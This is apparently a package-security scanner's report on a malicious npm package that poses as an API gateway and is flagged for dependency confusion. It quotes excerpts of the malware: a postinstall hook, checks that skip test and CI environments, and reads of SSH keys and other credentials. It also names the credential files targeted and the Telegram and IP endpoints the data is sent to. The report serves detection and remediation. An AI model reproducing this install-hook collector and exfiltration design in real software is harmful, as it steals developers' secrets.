registry / Credential exfiltration / bt2-api-gateway-node-js

bt2-api-gateway-node-js

API Gateway for BT2 system services

This report shows the evidence for bt2-api-gateway-node-js@999.0.1. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is a concrete automatic credential-exfiltration payload with environment evasion and external transmission. The package's advertised utility exports do not account for this behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation invokes postinstall; requiring the main module also schedules the collector.

Impact

Disclosure of SSH, cloud, package-manager, AI, and environment secrets plus host metadata.

Mechanism

Delayed credential harvesting and HTTP/HTTPS exfiltration.

Attack narrative

During postinstall, index.js schedules a delayed routine outside test, CI, and container environments. The routine reads credential files and sensitive environment variables, serializes them, and sends host information to Telegram while posting the full encoded collection to an external IP address. The same routine also runs whenever the module is imported.

AI rationale

This is a concrete automatic credential-exfiltration payload with environment evasion and external transmission. The package's advertised utility exports do not account for this behavior.

Evidence

package.jsonindex.js~/.npmrc~/.git-credentials~/.ssh~/.aws/credentials~/.kube/config~/.docker/config.json

Network endpoints2

api.telegram.org2.26.82.63:8888/collect

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook runs index.js automatically and suppresses failures.
Importing index.js schedules delayed collection of user and host data.
The code reads package-manager, Git, SSH, cloud, AI, container, and database credential files and matching environment variables.
Collected data is base64-encoded and sent to a Telegram host and a separate IP address.
The source labels the target as a new victim, consistent with credential theft.

Evidence against

The exported API is a small inert-looking utility surface.
The collector exits in test, CI, and container environments, indicating evasion rather than a legitimate runtime need.

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 9.66 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node index.js || exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node index.js || exit 0" }

High

Suspicious Lifecycle Evidence

The postinstall hook runs index.js automatically and suppresses failures.

package.jsonView on unpkg · L6

•scripts.postinstall = node index.js || exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L14

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L14

14Trigger-reachable chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L14

14Trigger-reachable credential exfiltration chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

index.jsView on unpkg · L14

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js || exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node index.js || exit 0" }

High

Suspicious Lifecycle Evidence

The postinstall hook runs index.js automatically and suppresses failures.

package.jsonView on unpkg · L6

•scripts.postinstall = node index.js || exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

Findings

3 Critical3 High4 Medium2 Low

CriticalHardcoded Runtime Data Exfiltrationindex.js

CriticalCredential Exfiltrationindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable Credential Exfiltrationindex.js

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

Affected versions and remediation

This report applies to bt2-api-gateway-node-js@999.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing bt2-api-gateway-node-js@999.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-03 06:45:05.643Z (UTC).

Source advisory published: 2026-09-01 17:16:24.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

999.0.1latestshownMaliciousCredential ExfiltrationBlockPublishedSep 1, 2026, 4:49 PM 999.0.0MaliciousCredential ExfiltrationBlockPublishedSep 1, 2026, 4:40 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code